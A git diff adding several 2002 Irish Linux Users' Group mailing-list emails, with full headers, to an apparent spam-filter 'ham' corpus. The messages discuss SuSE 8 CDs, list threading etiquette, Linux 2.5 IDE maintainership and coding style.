Aug 2002 23:56:09 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [62.17.153.101] claimed to + be mail.go2.ie +Received: from k100-20.bas1.dbn.dublin.eircom.net + (k100-20.bas1.dbn.dublin.eircom.net [159.134.100.20]) by mail.go2.ie + (Postfix) with ESMTP id 85FD110DE for ; Sat, 10 Aug 2002 + 23:55:27 +0100 (IST) +Subject: Re: [ILUG] SUSE 8 disks? (was [ILUG] ILUG newsgroup(s)?) +From: Nick Murtagh +To: ilug@linux.ie +In-Reply-To: <20020809181342.48823.qmail@web13901.mail.yahoo.com> +References: <20020809181342.48823.qmail@web13901.mail.yahoo.com> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8-2mdk +Date: 11 Aug 2002 00:55:10 +0100 +Message-Id: <1029023717.2993.4.camel@gemini.windmill> +MIME-Version: 1.0 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Fri, 2002-08-09 at 19:13, Paul Linehan wrote: +> I'm looking for the disks for SUSE 8. Does anybody +> have them for a reasonable price? + +First you complain about the supposed lack of threading +in Internet Mail, and then you reply to one of the messages +in that thread on an unrelated topic, messing things up for +those of us with threading turned on? + +Even Outlook Express does threading! + +Sigh... + +Nick + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00334.f271715a6a7b9a945d1606a4b091ee5f b/bayes/spamham/easy_ham_2/00334.f271715a6a7b9a945d1606a4b091ee5f new file mode 100644 index 0000000..47b7cc1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00334.f271715a6a7b9a945d1606a4b091ee5f @@ -0,0 +1,60 @@ +From ilug-admin@linux.ie Mon Aug 12 11:06:24 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B531444101 + for ; Mon, 12 Aug 2002 05:55:59 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:55:59 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7AN2Kb07011 for + ; Sun, 11 Aug 2002 00:02:20 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id XAA18968; Sat, 10 Aug 2002 23:59:42 +0100 +Received: from mail.go2.ie ([62.17.153.101]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id XAA18942 for ; Sat, + 10 Aug 2002 23:59:36 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [62.17.153.101] claimed to + be mail.go2.ie +Received: from k100-20.bas1.dbn.dublin.eircom.net + (k100-20.bas1.dbn.dublin.eircom.net [159.134.100.20]) by mail.go2.ie + (Postfix) with ESMTP id 2B30710DE for ; Sat, 10 Aug 2002 + 23:59:06 +0100 (IST) +Subject: Re: [ILUG] Alan Cox doesn't like 2.5 so far! +From: Nick Murtagh +To: ilug@linux.ie +In-Reply-To: <3D525FBD.2070401@corvil.com> +References: <3D525FBD.2070401@corvil.com> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8-2mdk +Date: 11 Aug 2002 00:58:55 +0100 +Message-Id: <1029023936.3017.8.camel@gemini.windmill> +MIME-Version: 1.0 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Thu, 2002-08-08 at 13:10, Padraig Brady wrote: +> Yikes, hope he's not serious! + +The impression I get from reading lkml the odd time is +that IDE has gone downhill since Andre Hedrick was +effectively removed as maintainer. Martin Dalecki seems +to have been unable to further development without +much breakage. However, this is part of the fun of +the development kernel. Alan and others are annoyed +because they can't do any development themselves while +IDE is broken. Hopefully the 2.4 IDE port should help. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00335.afeb1c952028486564738ee12fcb9a7e b/bayes/spamham/easy_ham_2/00335.afeb1c952028486564738ee12fcb9a7e new file mode 100644 index 0000000..c835647 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00335.afeb1c952028486564738ee12fcb9a7e @@ -0,0 +1,58 @@ +From ilug-admin@linux.ie Mon Aug 12 11:06:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7724244158 + for ; Mon, 12 Aug 2002 05:56:00 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:56:00 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7AN8Ib07334 for + ; Sun, 11 Aug 2002 00:08:18 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id AAA19362; Sun, 11 Aug 2002 00:05:32 +0100 +Received: from mail.go2.ie ([62.17.153.101]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id AAA19330 for ; Sun, + 11 Aug 2002 00:05:26 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [62.17.153.101] claimed to + be mail.go2.ie +Received: from k100-20.bas1.dbn.dublin.eircom.net + (k100-20.bas1.dbn.dublin.eircom.net [159.134.100.20]) by mail.go2.ie + (Postfix) with ESMTP id 3298010DE for ; Sun, 11 Aug 2002 + 00:04:56 +0100 (IST) +Subject: Re: [ILUG] slashdot EW Dijkstra humor +From: Nick Murtagh +To: ilug@linux.ie +In-Reply-To: <3D52537D.8000104@heanet.ie> +References: <200208081032.LAA09312@lugh.tuatha.org> + <3D52537D.8000104@heanet.ie> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8-2mdk +Date: 11 Aug 2002 01:04:45 +0100 +Message-Id: <1029024286.3017.11.camel@gemini.windmill> +MIME-Version: 1.0 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Thu, 2002-08-08 at 12:18, Dave Wilson wrote: +> Despite being one of Dijkstra's brain-damaged children who learned BASIC +> at an early age :) I never use GOTO anymore (or any of its bastard +> offspring like break, continue, fudged function calls with sleight of +> hand in the variables). My code is longer than it might be if I had used + +You don't use break? What about case statement blocks, or leaving a for +or while loop when you know you're finished? + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00336.897a42da6cb565542d63837270d5d20e b/bayes/spamham/easy_ham_2/00336.897a42da6cb565542d63837270d5d20e new file mode 100644 index 0000000..ad23836 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00336.897a42da6cb565542d63837270d5d20e @@ -0,0 +1,59 @@ +From ilug-admin@linux.ie Mon Aug 12 11:06:49 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4E2E04415A + for ; Mon, 12 Aug 2002 05:56:02 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:56:02 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7BALWb30227 for + ; Sun, 11 Aug 2002 11:21:32 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA18407; Sun, 11 Aug 2002 11:18:31 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail02.svc.cra.dublin.eircom.net + (mail02.svc.cra.dublin.eircom.net [159.134.118.18]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id LAA18371 for ; Sun, + 11 Aug 2002 11:18:19 +0100 +Message-Id: <200208111018.LAA18371@lugh.tuatha.org> +Received: (qmail 11532 messnum 33762 invoked from + network[159.134.237.75/jimbo.eircom.net]); 11 Aug 2002 10:17:47 -0000 +Received: from jimbo.eircom.net (HELO webmail.eircom.net) (159.134.237.75) + by mail02.svc.cra.dublin.eircom.net (qp 11532) with SMTP; 11 Aug 2002 + 10:17:47 -0000 +From: "wintermute" +To: ilug@linux.ie +Subject: Re: [ILUG] Alan Cox doesn't like 2.5 so far! +Date: Sun, 11 Aug 2002 11:17:47 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 8bit +X-Originating-Ip: 213.202.165.44 +X-Mailer: Eircom Net CRC Webmail (http://www.eircom.net/) +Organization: Eircom Net (http://www.eircom.net/) +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +> The impression I get from reading lkml the odd time is +> that IDE has gone downhill since Andre Hedrick was +> effectively removed as maintainer. Martin Dalecki seems +> to have been unable to further development without +> much breakage. + +Hmm... begs the question, why remove Handrick? +If it ain't broke, don't fix it. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00337.4a2e0169ffb3544118a4c4b5220590fa b/bayes/spamham/easy_ham_2/00337.4a2e0169ffb3544118a4c4b5220590fa new file mode 100644 index 0000000..c77998d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00337.4a2e0169ffb3544118a4c4b5220590fa @@ -0,0 +1,74 @@ +From ilug-admin@linux.ie Mon Aug 12 11:07:03 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 16B324415B + for ; Mon, 12 Aug 2002 05:56:03 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:56:03 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7BBreb32265 for + ; Sun, 11 Aug 2002 12:53:41 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA21852; Sun, 11 Aug 2002 12:50:43 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA21814 for ; Sun, + 11 Aug 2002 12:50:36 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id MAA25325 for ; Sun, + 11 Aug 2002 12:50:06 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g7BBoQC05897 for ilug@linux.ie; Sun, 11 Aug 2002 12:50:26 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Sun, 11 Aug 2002 12:50:26 +0100 +From: "John P. Looney" +To: ilug@linux.ie +Subject: Re: [ILUG] Alan Cox doesn't like 2.5 so far! +Message-Id: <20020811115026.GB4847@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: ilug@linux.ie +References: <200208111018.LAA18371@lugh.tuatha.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <200208111018.LAA18371@lugh.tuatha.org> +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Sun, Aug 11, 2002 at 11:17:47AM +0100, wintermute mentioned: +> > The impression I get from reading lkml the odd time is +> > that IDE has gone downhill since Andre Hedrick was +> > effectively removed as maintainer. Martin Dalecki seems +> > to have been unable to further development without +> > much breakage. +> +> Hmm... begs the question, why remove Handrick? +> If it ain't broke, don't fix it. + + See, the IDE subsystem is like the One Ring. It's kludginess, due to +having to support hundreds of dodgy chipsets & drives means that it is +inherintly evil. A few months of looking at the code can turn you sour. +Years of looking at it will turn you into an arsehole. + + They haven't found a hobbit that can code, so mortal humans have to +suffice. + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00338.150c1aef21dcd741036532b8dad9d694 b/bayes/spamham/easy_ham_2/00338.150c1aef21dcd741036532b8dad9d694 new file mode 100644 index 0000000..7d69172 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00338.150c1aef21dcd741036532b8dad9d694 @@ -0,0 +1,79 @@ +From ilug-admin@linux.ie Mon Aug 12 11:07:15 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 693844415C + for ; Mon, 12 Aug 2002 05:56:05 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:56:05 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7BF5Zb04434 for + ; Sun, 11 Aug 2002 16:05:35 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA28794; Sun, 11 Aug 2002 16:03:13 +0100 +Received: from hibernia.jakma.org (hibernia.clubi.ie [212.17.32.129]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id QAA28760 for ; + Sun, 11 Aug 2002 16:03:07 +0100 +Received: from fogarty.jakma.org (fogarty.jakma.org [192.168.0.4]) by + hibernia.jakma.org (8.11.6/8.11.6) with ESMTP id g7BFAhw04124; + Sun, 11 Aug 2002 16:10:43 +0100 +Received: from localhost (paul@localhost) by fogarty.jakma.org + (8.11.6/8.11.6) with ESMTP id g7BFAe606816; Sun, 11 Aug 2002 16:10:41 + +0100 +X-Authentication-Warning: fogarty.jakma.org: paul owned process doing -bs +Date: Sun, 11 Aug 2002 16:10:40 +0100 (IST) +From: Paul Jakma +X-X-Sender: paul@fogarty.jakma.org +To: wintermute +Cc: ilug@linux.ie +Subject: Re: [ILUG] Alan Cox doesn't like 2.5 so far! +In-Reply-To: <200208111018.LAA18371@lugh.tuatha.org> +Message-Id: +X-Nsa: iraq saddam hammas hisballah rabin ayatollah korea vietnam revolt + mustard gas +X-Dumb-Filters: aryan marijuiana cocaine heroin hardcore cum pussy porn + teen tit sex lesbian group +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=iso-8859-1 +Content-Transfer-Encoding: 8BIT +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Sun, 11 Aug 2002, wintermute wrote: + +> Hmm... begs the question, why remove Handrick? + +andre seems to have a peculiar way of interacting with people on +linux-kernel. martin otoh gets on fine with people, but doesnt /seem/ +to have his head fully around the ide code yet¹. + +> If it ain't broke, don't fix it. + +however, how do you add features? eg tagged commands, udma100, 133, +etc.. serial ATA, new chipsets. plus the IDE code might be fine, but +lots of drives and chips have bugs, which need working around. + +all that said, Linus says he does his development on an IDE machine +and hasnt had any problems. + +1. judging from comments on l-k. + +regards, +-- +Paul Jakma paul@clubi.ie paul@jakma.org Key ID: 64A2FF6A + warning: do not ever send email to spam@dishone.st +Fortune: +The surest way to remain a winner is to win once, and then not play any more. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00339.50fd5ad3e953a8f752b98df040509e93 b/bayes/spamham/easy_ham_2/00339.50fd5ad3e953a8f752b98df040509e93 new file mode 100644 index 0000000..7f0502f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00339.50fd5ad3e953a8f752b98df040509e93 @@ -0,0 +1,80 @@ +From ilug-admin@linux.ie Mon Aug 12 11:07:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 453A74415D + for ; Mon, 12 Aug 2002 05:56:06 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:56:06 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7BIMnb09833 for + ; Sun, 11 Aug 2002 19:22:49 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA03307; Sun, 11 Aug 2002 19:20:27 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from linuxmafia.com (linuxmafia.COM [198.144.195.186]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id TAA03285 for ; + Sun, 11 Aug 2002 19:20:20 +0100 +Received: from rick by linuxmafia.com with local (Exim 3.35 #1 (Debian)) + id 17dxK1-00063A-00 for ; Sun, 11 Aug 2002 11:20:13 -0700 +Date: Sun, 11 Aug 2002 11:20:12 -0700 +To: ilug@linux.ie +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) +Message-Id: <20020811182012.GD25331@linuxmafia.com> +References: <1029023717.2993.4.camel@gemini.windmill> + <20020811134458.74257.qmail@web13902.mail.yahoo.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020811134458.74257.qmail@web13902.mail.yahoo.com> +User-Agent: Mutt/1.4i +From: Rick Moen +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Quoting Paul Linehan (plinehan@yahoo.com): + +> Anyway, I should have initiated a new thread for my different request +> about S.u.S.E. CDs. + +You'll probably want to buy a retail boxed set, e.g., via mail order. +The only editions of SuSE for i386 that are lawful to duplicate and +redistribute are as follows: + +SuSE Evaluation: This is a single-CD ISO9660 image, currently at v. 7.0. +If you don't mind having only one disk's worth of SuSE, and being +several revisions behind the boxed-set editions, this is quite good and +recommended. + +SuSE Live Eval: Another CD image, currently at v. 8.0, but this one +doesn't install to hard drives at all: It's a demo disk. + +SuSE FTP Edition (for lack of an official name): Not a CD image, but +the contents of ftp://ftp.suse.com/pub/suse/i386/current/ . You would +have to mirror the ftp directory tree, and then figure out how to +install (e.g., over NFS). Currently at v. 8.0. + +There are three (non-redistributable) boxed-set editions, at different +price points. + +I'm assuming in the above that you're talking about an i386-architecture +computer. Slightly different answers apply for Alpha, IA64, SPARC, PPC, +SPARC64, PPC64, or S390. + +-- +Cheers, "Teach a man to make fire, and he will be warm +Rick Moen for a day. Set a man on fire, and he will be warm +rick@linuxmafia.com for the rest of his life." -- John A. Hrastar + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00340.22ecbee41fb4da91afa69f932cb27443 b/bayes/spamham/easy_ham_2/00340.22ecbee41fb4da91afa69f932cb27443 new file mode 100644 index 0000000..ff2d999 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00340.22ecbee41fb4da91afa69f932cb27443 @@ -0,0 +1,78 @@ +From ilug-admin@linux.ie Mon Aug 12 11:07:21 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 377914415E + for ; Mon, 12 Aug 2002 05:56:07 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:56:07 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7C59ub30453 for + ; Mon, 12 Aug 2002 06:09:56 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id GAA26751; Mon, 12 Aug 2002 06:08:57 +0100 +Received: from puma.dub0.ie.cp.net ([62.17.137.250]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id GAA26714 for ; Mon, + 12 Aug 2002 06:08:49 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [62.17.137.250] claimed to + be puma.dub0.ie.cp.net +Received: from AHOLM.elivefree.net (10.40.2.248) by puma.dub0.ie.cp.net + (6.7.009) id 3D4AB18800007DF5; Mon, 12 Aug 2002 06:08:06 +0100 +Message-Id: <5.1.1.6.0.20020812060425.026632b0@mail.elivefree.net> +X-Sender: anders.holm@mail.elivefree.net +X-Mailer: QUALCOMM Windows Eudora Version 5.1.1 +Date: Mon, 12 Aug 2002 06:05:32 +0100 +To: "Damian O' Sullivan" , + "'Albert White - SUN Ireland'" , + ilug@linux.ie +From: Anders Holm +Subject: RE: [ILUG] Sparc Solaris (was: Dell GX260 V Redhat 7.3) +In-Reply-To: <214A52C16E44D51186FB00508BB83E0F7C0D60@w2k-server.bcs.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii"; format=flowed +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi Damian. + +SuSe has a Sparc version I previously been running on a Sun Ultra 5 at +least. Worked fine, albeit a bit slow... ;) + +//Anders + +At 14:32 09/08/2002, Damian O' Sullivan wrote: +>I use gnome here on half a dozen sunray 150 boxen. Been trying to get linux +>on them for along time with mixed results.. Has anyone succeeded in this? +> +> > -> It does work on SunRays. Just install it normally on the +> > server, the sun +> > install will make the necessary changes to the dtlogin screen +> > and you can just +> > select gnome from there. AFAIK you can do this for any window +> > manager. But I +> > don't admin sunray servers so I'm not fully aware of the +> > issues or exact +> > requirements. +> > +> > Cheers, +> > ~Al +> > +> +> +>-- +>Irish Linux Users' Group: ilug@linux.ie +>http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +>List maintainer: listmaster@linux.ie + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00341.8bf7e41bff54bd779663d1f0a0fe3ed8 b/bayes/spamham/easy_ham_2/00341.8bf7e41bff54bd779663d1f0a0fe3ed8 new file mode 100644 index 0000000..7ba0363 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00341.8bf7e41bff54bd779663d1f0a0fe3ed8 @@ -0,0 +1,92 @@ +From ilug-admin@linux.ie Mon Aug 12 11:07:06 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 39B2444103 + for ; Mon, 12 Aug 2002 05:56:04 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:56:04 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7BDlwb02513 for + ; Sun, 11 Aug 2002 14:47:58 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA25944; Sun, 11 Aug 2002 14:45:08 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from web13902.mail.yahoo.com (web13902.mail.yahoo.com + [216.136.175.28]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id OAA25886 + for ; Sun, 11 Aug 2002 14:45:00 +0100 +Message-Id: <20020811134458.74257.qmail@web13902.mail.yahoo.com> +Received: from [159.134.177.47] by web13902.mail.yahoo.com via HTTP; + Sun, 11 Aug 2002 15:44:58 CEST +Date: Sun, 11 Aug 2002 15:44:58 +0200 (CEST) +From: =?iso-8859-1?q?Paul=20Linehan?= +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) +To: ilug@linux.ie +In-Reply-To: <1029023717.2993.4.camel@gemini.windmill> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + + +> First you complain about the supposed lack of +> threading in Internet Mail, and then you reply to +> one of the messages in that thread on an unrelated +> topic, messing things up for those of us with +> threading turned on? + +> Even Outlook Express does threading! + +> Sigh... + + +I apologise for wasting your time. + +I follow this list from home, and thus use +a yahoo account. I haven't been able to find +a threading mechanism for this, plus the +fact that the list can start to fill up +my inbox after about a week of no pruning. + +This is the reason for my initial grumbling. I +would like to be able to follow what's going +on without clogging up my yahoo account. + + +Anyway, I should have initiated a new thread for my +different request about S.u.S.E. CDs. I won't repeat +my error! + + +Again, my humble apologies. + + + +Paul... + + +> Nick + +p.s. accidentally emailed privately - sorry! + + + + +___________________________________________________________ +Do You Yahoo!? -- Une adresse @yahoo.fr gratuite et en français ! +Yahoo! Mail : http://fr.mail.yahoo.com + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00342.769dc03aca294f3cc817c212a6ff380a b/bayes/spamham/easy_ham_2/00342.769dc03aca294f3cc817c212a6ff380a new file mode 100644 index 0000000..b2b71b9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00342.769dc03aca294f3cc817c212a6ff380a @@ -0,0 +1,68 @@ +From ilug-admin@linux.ie Mon Aug 12 11:07:30 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E4B6944104 + for ; Mon, 12 Aug 2002 05:56:08 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:56:08 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7C8Uvb03306 for + ; Mon, 12 Aug 2002 09:30:57 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA01842; Mon, 12 Aug 2002 09:29:57 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA01787 for ; Mon, + 12 Aug 2002 09:29:51 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id JAA23439 for ; Mon, + 12 Aug 2002 09:29:20 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g7C8Tc703202 for ilug@linux.ie; Mon, 12 Aug 2002 09:29:38 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Mon, 12 Aug 2002 09:29:38 +0100 +From: "John P. Looney" +To: Irish LUG list +Message-Id: <20020812082938.GA3027@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: Irish LUG list +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Subject: [ILUG] 